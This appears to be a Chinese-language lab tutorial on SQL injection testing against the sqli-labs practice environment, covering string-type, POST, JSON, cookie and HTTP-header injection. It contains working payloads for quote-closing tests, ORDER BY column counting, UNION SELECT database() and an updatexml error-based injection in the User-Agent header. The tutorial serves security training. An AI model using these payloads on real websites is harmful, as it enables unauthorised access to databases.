在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。
#简要明确参数类型:数字,字符,搜索,JSON等
#简要明确请求方法:GET,POST,COOKIE,REQUEST,HTTP头等
SQL语句干扰符号:’, ", %, ), } 等,具体需看写法
案例
1. 参数字符型注入测试(sqlilabs less-5)
第5关属于报错注入,这里只看属于什么类型,不进行实际注入测试。
- 源代码输出sql语句,便于查看。
- 输入id=1,看sql语句,发现id用单引号 ’ 闭合了,属于字符型注入。
- 按数字型输入测试,没用
http://192.168.187.142/sqlilabs/Less-5/?id=1%20and%201=2
4. 将单引号闭合,测试
http://192.168.187.142/sqlilabs/Less-5/?id=1%27%20and%20%271%27=%271
http://192.168.187.142/sqlilabs/Less-5/?id=1%27%20and%20%271%27=%272
第5关属于单引号闭合,还有双引号闭合,小括号闭合,以及它们的组合等。
POST数据提交注入测试(sqlilabs less-11)
- 源代码输出sql语句,便于查看。
- 正确提交用户名密码,可以看到是单引号闭合。
- 利用 order by 爆出列数
admin' order by 3 #
admin' order by 2 #
- 查看每个字段在哪里显示
asdf' union select 1,2 #
5. 查数据库
asdf' union select database(),2 #
参数JSON数据注入测试
注入方式一样,格式更改。
COOKIE数据提交注入测试(sqlilabs less-20)
-
尝试 admin admin 正常登录
-
抓包分析,发现Cookie中存在uname
-
发送到repeater,爆出列数,发现为3列
-
查看每个字段的位置
-
在2的位置上查数据库
HTTP头部参数数据注入测试(sqlilabs less-18)
-
正常登录
-
抓包分析,发送到repeater,修改 User-Agent
-
修改 User-Agent , 爆出数据库名
'or updatexml(1,concat(0x7e,database(), 0x7e),0) or '